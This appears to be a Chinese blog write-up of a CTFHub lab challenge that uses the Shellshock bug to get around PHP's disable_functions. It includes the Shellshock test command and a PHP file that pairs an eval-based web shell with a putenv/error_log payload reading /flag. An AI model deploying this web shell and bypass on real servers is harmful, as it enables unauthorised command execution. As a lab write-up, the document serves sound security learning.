CTFHub ShellShock解题记录

CTFHub Bypass disable_function ShellShock

ShellShock,破壳漏洞,出现于2014年
可以通过以下命令来判断是否存在这个漏洞

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

如果结果中有 vulnerable说明存在这个漏洞,执行了echo vulnerable这个语句。
大致原理:
bash shell中定义环境变量通过函数名称来调用时,正常情况下是这样
在这里插入图片描述
但是对于存在shellshock漏洞的环境下,Bash对于环境变量只是检测到函数,并且从’{‘开始执行,但是并没有在’}'后停止,也就是说定义在函数体外shell命令也会执行,所以env x='() { :;}; echo vulnerable' 输出了vulnerable。

题目打开,通过蚁剑连接在这里插入图片描述查看phpinfo() 和上题一样还是没有禁用error_log函数。正常情况下蚁剑已经实现通过ShellShock漏洞,直接拿到shell,但是这题不行。在这里插入图片描述得手工,上传shell.php和test.php,用来存放命令执行结果
可能是因为test.php文件为空上传报错,但是还是传上去了,刷新一下,
在这里插入图片描述

<?php
  @eval($_REQUEST['ant']);
  putenv("PHP_test=() { :; }; tac /flag >> /var/www/html/test.php");
  error_log("admin",1);
  //mail("admin@localhost","","","","");
?>

发现在/目录有flag文件,和之前LD_PRELOAD题目一样,这次直接通过tac来读取文件。
通过putenv来设置环境变量,默认putenv定义的环境变量名必须以PHP_开头。
error_log()函数会在执行sh -c -t -i触发payload
在这里插入图片描述
在浏览器访问shell.php,再打开tes,php,拿到flag在这里插入图片描述搞定

参考文章

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值